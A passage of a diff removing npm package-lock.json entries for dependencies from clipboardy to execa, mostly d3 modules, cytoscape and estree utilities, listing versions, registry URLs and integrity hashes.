"sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==" - }, - "node_modules/clipboardy": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/clipboardy/-/clipboardy-1.2.2.tgz", - "integrity": "sha512-16KrBOV7bHmHdxcQiCvfUFYVFyEah4FI8vYT1Fr7CGSA4G+xBWMEfUEQJS1hxeHGtI9ju1Bzs9uXSbj5HZKArw==", - "dependencies": { - "arch": "^2.1.0", - "execa": "^0.8.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/clsx": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.0.tgz", - "integrity": "sha512-m3iNNWpd9rl3jvvcBnu70ylMdrXt8Vlq4HYadnU5fwcOtvkSQWPmj7amUcDT2qYI7risszBjI5AUIUox9D16pg==", - "engines": { - "node": ">=6" - } - }, - "node_modules/color-convert": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", - "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", - "dependencies": { - "color-name": "1.1.3" - } - }, - "node_modules/color-name": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" - }, - "node_modules/comma-separated-tokens": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz", - "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/commander": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", - "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", - "engines": { - "node": ">= 12" - } - }, - "node_modules/compute-scroll-into-view": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/compute-scroll-into-view/-/compute-scroll-into-view-3.1.0.tgz", - "integrity": "sha512-rj8l8pD4bJ1nx+dAkMhV1xB5RuZEyVysfxJqB1pRchh1KVvwOv9b7CGB8ZfjTImVv2oF+sYMUkMZq6Na5Ftmbg==" - }, - "node_modules/cose-base": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/cose-base/-/cose-base-1.0.3.tgz", - "integrity": "sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg==", - "dependencies": { - "layout-base": "^1.0.0" - } - }, - "node_modules/cross-spawn": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", - "integrity": "sha512-pTgQJ5KC0d2hcY8eyL1IzlBPYjTkyH72XRZPnLyKus2mBfNjQs3klqbJU2VILqZryAZUt9JOb3h/mWMy23/f5A==", - "dependencies": { - "lru-cache": "^4.0.1", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - } - }, - "node_modules/csstype": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", - "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==" - }, - "node_modules/cytoscape": { - "version": "3.28.1", - "resolved": "https://registry.npmjs.org/cytoscape/-/cytoscape-3.28.1.tgz", - "integrity": "sha512-xyItz4O/4zp9/239wCcH8ZcFuuZooEeF8KHRmzjDfGdXsj3OG9MFSMA0pJE0uX3uCN/ygof6hHf4L7lst+JaDg==", - "dependencies": { - "heap": "^0.2.6", - "lodash": "^4.17.21" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/cytoscape-cose-bilkent": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/cytoscape-cose-bilkent/-/cytoscape-cose-bilkent-4.1.0.tgz", - "integrity": "sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ==", - "dependencies": { - "cose-base": "^1.0.0" - }, - "peerDependencies": { - "cytoscape": "^3.2.0" - } - }, - "node_modules/d3": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/d3/-/d3-7.9.0.tgz", - "integrity": "sha512-e1U46jVP+w7Iut8Jt8ri1YsPOvFpg46k+K8TpCb0P+zjCkjkPnV7WzfDJzMHy1LnA+wj5pLT1wjO901gLXeEhA==", - "dependencies": { - "d3-array": "3", - "d3-axis": "3", - "d3-brush": "3", - "d3-chord": "3", - "d3-color": "3", - "d3-contour": "4", - "d3-delaunay": "6", - "d3-dispatch": "3", - "d3-drag": "3", - "d3-dsv": "3", - "d3-ease": "3", - "d3-fetch": "3", - "d3-force": "3", - "d3-format": "3", - "d3-geo": "3", - "d3-hierarchy": "3", - "d3-interpolate": "3", - "d3-path": "3", - "d3-polygon": "3", - "d3-quadtree": "3", - "d3-random": "3", - "d3-scale": "4", - "d3-scale-chromatic": "3", - "d3-selection": "3", - "d3-shape": "3", - "d3-time": "3", - "d3-time-format": "4", - "d3-timer": "3", - "d3-transition": "3", - "d3-zoom": "3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-array": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", - "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", - "dependencies": { - "internmap": "1 - 2" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-axis": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-3.0.0.tgz", - "integrity": "sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw==", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-brush": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-3.0.0.tgz", - "integrity": "sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ==", - "dependencies": { - "d3-dispatch": "1 - 3", - "d3-drag": "2 - 3", - "d3-interpolate": "1 - 3", - "d3-selection": "3", - "d3-transition": "3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-chord": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-3.0.1.tgz", - "integrity": "sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g==", - "dependencies": { - "d3-path": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-color": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", - "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-contour": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-4.0.2.tgz", - "integrity": "sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA==", - "dependencies": { - "d3-array": "^3.2.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-delaunay": { - "version": "6.0.4", - "resolved": "https://registry.npmjs.org/d3-delaunay/-/d3-delaunay-6.0.4.tgz", - "integrity": "sha512-mdjtIZ1XLAM8bm/hx3WwjfHt6Sggek7qH043O8KEjDXN40xi3vx/6pYSVTwLjEgiXQTbvaouWKynLBiUZ6SK6A==", - "dependencies": { - "delaunator": "5" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-dispatch": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-3.0.1.tgz", - "integrity": "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-drag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-3.0.0.tgz", - "integrity": "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==", - "dependencies": { - "d3-dispatch": "1 - 3", - "d3-selection": "3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-dsv": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-3.0.1.tgz", - "integrity": "sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q==", - "dependencies": { - "commander": "7", - "iconv-lite": "0.6", - "rw": "1" - }, - "bin": { - "csv2json": "bin/dsv2json.js", - "csv2tsv": "bin/dsv2dsv.js", - "dsv2dsv": "bin/dsv2dsv.js", - "dsv2json": "bin/dsv2json.js", - "json2csv": "bin/json2dsv.js", - "json2dsv": "bin/json2dsv.js", - "json2tsv": "bin/json2dsv.js", - "tsv2csv": "bin/dsv2dsv.js", - "tsv2json": "bin/dsv2json.js" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-dsv/node_modules/commander": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", - "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", - "engines": { - "node": ">= 10" - } - }, - "node_modules/d3-ease": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", - "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-fetch": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-3.0.1.tgz", - "integrity": "sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw==", - "dependencies": { - "d3-dsv": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-force": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-3.0.0.tgz", - "integrity": "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg==", - "dependencies": { - "d3-dispatch": "1 - 3", - "d3-quadtree": "1 - 3", - "d3-timer": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-format": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", - "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-geo": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-3.1.1.tgz", - "integrity": "sha512-637ln3gXKXOwhalDzinUgY83KzNWZRKbYubaG+fGVuc/dxO64RRljtCTnf5ecMyE1RIdtqpkVcq0IbtU2S8j2Q==", - "dependencies": { - "d3-array": "2.5.0 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-hierarchy": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-3.1.2.tgz", - "integrity": "sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA==", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-interpolate": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", - "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", - "dependencies": { - "d3-color": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-path": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", - "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-polygon": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-3.0.1.tgz", - "integrity": "sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg==", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-quadtree": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-3.0.1.tgz", - "integrity": "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw==", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-random": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-3.0.1.tgz", - "integrity": "sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ==", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-sankey": { - "version": "0.12.3", - "resolved": "https://registry.npmjs.org/d3-sankey/-/d3-sankey-0.12.3.tgz", - "integrity": "sha512-nQhsBRmM19Ax5xEIPLMY9ZmJ/cDvd1BG3UVvt5h3WRxKg5zGRbvnteTyWAbzeSvlh3tW7ZEmq4VwR5mB3tutmQ==", - "dependencies": { - "d3-array": "1 - 2", - "d3-shape": "^1.2.0" - } - }, - "node_modules/d3-sankey/node_modules/d3-array": { - "version": "2.12.1", - "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-2.12.1.tgz", - "integrity": "sha512-B0ErZK/66mHtEsR1TkPEEkwdy+WDesimkM5gpZr5Dsg54BiTA5RXtYW5qTLIAcekaS9xfZrzBLF/OAkB3Qn1YQ==", - "dependencies": { - "internmap": "^1.0.0" - } - }, - "node_modules/d3-sankey/node_modules/d3-path": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.9.tgz", - "integrity": "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==" - }, - "node_modules/d3-sankey/node_modules/d3-shape": { - "version": "1.3.7", - "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.7.tgz", - "integrity": "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==", - "dependencies": { - "d3-path": "1" - } - }, - "node_modules/d3-sankey/node_modules/internmap": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/internmap/-/internmap-1.0.1.tgz", - "integrity": "sha512-lDB5YccMydFBtasVtxnZ3MRBHuaoE8GKsppq+EchKL2U4nK/DmEpPHNH8MZe5HkMtpSiTSOZwfN0tzYjO/lJEw==" - }, - "node_modules/d3-scale": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", - "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", - "dependencies": { - "d3-array": "2.10.0 - 3", - "d3-format": "1 - 3", - "d3-interpolate": "1.2.0 - 3", - "d3-time": "2.1.1 - 3", - "d3-time-format": "2 - 4" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-scale-chromatic": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-3.1.0.tgz", - "integrity": "sha512-A3s5PWiZ9YCXFye1o246KoscMWqf8BsD9eRiJ3He7C9OBaxKhAd5TFCdEx/7VbKtxxTsu//1mMJFrEt572cEyQ==", - "dependencies": { - "d3-color": "1 - 3", - "d3-interpolate": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-selection": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-3.0.0.tgz", - "integrity": "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-shape": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", - "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", - "dependencies": { - "d3-path": "^3.1.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-time": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", - "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", - "dependencies": { - "d3-array": "2 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-time-format": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", - "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", - "dependencies": { - "d3-time": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-timer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", - "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-transition": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-3.0.1.tgz", - "integrity": "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==", - "dependencies": { - "d3-color": "1 - 3", - "d3-dispatch": "1 - 3", - "d3-ease": "1 - 3", - "d3-interpolate": "1 - 3", - "d3-timer": "1 - 3" - }, - "engines": { - "node": ">=12" - }, - "peerDependencies": { - "d3-selection": "2 - 3" - } - }, - "node_modules/d3-zoom": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-3.0.0.tgz", - "integrity": "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==", - "dependencies": { - "d3-dispatch": "1 - 3", - "d3-drag": "2 - 3", - "d3-interpolate": "1 - 3", - "d3-selection": "2 - 3", - "d3-transition": "2 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/dagre-d3-es": { - "version": "7.0.10", - "resolved": "https://registry.npmjs.org/dagre-d3-es/-/dagre-d3-es-7.0.10.tgz", - "integrity": "sha512-qTCQmEhcynucuaZgY5/+ti3X/rnszKZhEQH/ZdWdtP1tA/y3VoHJzcVrO9pjjJCNpigfscAtoUB5ONcd2wNn0A==", - "dependencies": { - "d3": "^7.8.2", - "lodash-es": "^4.17.21" - } - }, - "node_modules/dayjs": { - "version": "1.11.10", - "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.10.tgz", - "integrity": "sha512-vjAczensTgRcqDERK0SR2XMwsF/tSvnvlv6VcF2GIhg6Sx4yOIt/irsr1RDJsKiIyBzJDpCoXiWWq28MqH2cnQ==" - }, - "node_modules/debug": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", - "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", - "dependencies": { - "ms": "2.1.2" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/decode-named-character-reference": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.0.2.tgz", - "integrity": "sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==", - "dependencies": { - "character-entities": "^2.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/delaunator": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/delaunator/-/delaunator-5.0.1.tgz", - "integrity": "sha512-8nvh+XBe96aCESrGOqMp/84b13H9cdKbG5P2ejQCh4d4sK9RL4371qou9drQjMhvnPmhWl5hnmqbEE0fXr9Xnw==", - "dependencies": { - "robust-predicates": "^3.0.2" - } - }, - "node_modules/dequal": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", - "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", - "engines": { - "node": ">=6" - } - }, - "node_modules/devlop": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz", - "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==", - "dependencies": { - "dequal": "^2.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/diff": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-5.2.0.tgz", - "integrity": "sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A==", - "engines": { - "node": ">=0.3.1" - } - }, - "node_modules/dompurify": { - "version": "3.0.11", - "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.0.11.tgz", - "integrity": "sha512-Fan4uMuyB26gFV3ovPoEoQbxRRPfTu3CvImyZnhGq5fsIEO+gEFLp45ISFt+kQBWsK5ulDdT0oV28jS1UrwQLg==" - }, - "node_modules/elkjs": { - "version": "0.9.2", - "resolved": "https://registry.npmjs.org/elkjs/-/elkjs-0.9.2.tgz", - "integrity": "sha512-2Y/RaA1pdgSHpY0YG4TYuYCD2wh97CRvu22eLG3Kz0pgQ/6KbIFTxsTnDc4MH/6hFlg2L/9qXrDMG0nMjP63iw==" - }, - "node_modules/entities": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", - "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", - "engines": { - "node": ">=0.12" - }, - "funding": { - "url": "https://github.com/fb55/entities?sponsor=1" - } - }, - "node_modules/escape-string-regexp": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", - "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - "bin": { - "esparse": "bin/esparse.js", - "esvalidate": "bin/esvalidate.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/estree-util-attach-comments": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/estree-util-attach-comments/-/estree-util-attach-comments-2.1.1.tgz", - "integrity": "sha512-+5Ba/xGGS6mnwFbXIuQiDPTbuTxuMCooq3arVv7gPZtYpjp+VXH/NkHAP35OOefPhNG/UGqU3vt/LTABwcHX0w==", - "dependencies": { - "@types/estree": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/estree-util-build-jsx": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/estree-util-build-jsx/-/estree-util-build-jsx-2.2.2.tgz", - "integrity": "sha512-m56vOXcOBuaF+Igpb9OPAy7f9w9OIkb5yhjsZuaPm7HoGi4oTOQi0h2+yZ+AtKklYFZ+rPC4n0wYCJCEU1ONqg==", - "dependencies": { - "@types/estree-jsx": "^1.0.0", - "estree-util-is-identifier-name": "^2.0.0", - "estree-walker": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/estree-util-is-identifier-name": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/estree-util-is-identifier-name/-/estree-util-is-identifier-name-2.1.0.tgz", - "integrity": "sha512-bEN9VHRyXAUOjkKVQVvArFym08BTWB0aJPppZZr0UNyAqWsLaVfAqP7hbaTJjzHifmB5ebnR8Wm7r7yGN/HonQ==", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/estree-util-to-js": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/estree-util-to-js/-/estree-util-to-js-1.2.0.tgz", - "integrity": "sha512-IzU74r1PK5IMMGZXUVZbmiu4A1uhiPgW5hm1GjcOfr4ZzHaMPpLNJjR7HjXiIOzi25nZDrgFTobHTkV5Q6ITjA==", - "dependencies": { - "@types/estree-jsx": "^1.0.0", - "astring": "^1.8.0", - "source-map": "^0.7.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/estree-util-value-to-estree": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/estree-util-value-to-estree/-/estree-util-value-to-estree-1.3.0.tgz", - "integrity": "sha512-Y+ughcF9jSUJvncXwqRageavjrNPAI+1M/L3BI3PyLp1nmgYTGUXU6t5z1Y7OWuThoDdhPME07bQU+d5LxdJqw==", - "dependencies": { - "is-plain-obj": "^3.0.0" - }, - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/estree-util-visit": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/estree-util-visit/-/estree-util-visit-1.2.1.tgz", - "integrity": "sha512-xbgqcrkIVbIG+lI/gzbvd9SGTJL4zqJKBFttUl5pP27KhAjtMKbX/mQXJ7qgyXpMgVy/zvpm0xoQQaGL8OloOw==", - "dependencies": { - "@types/estree-jsx": "^1.0.0", - "@types/unist": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/estree-walker": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", - "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", - "dependencies": { - "@types/estree": "^1.0.0" - } - }, - "node_modules/execa": { - 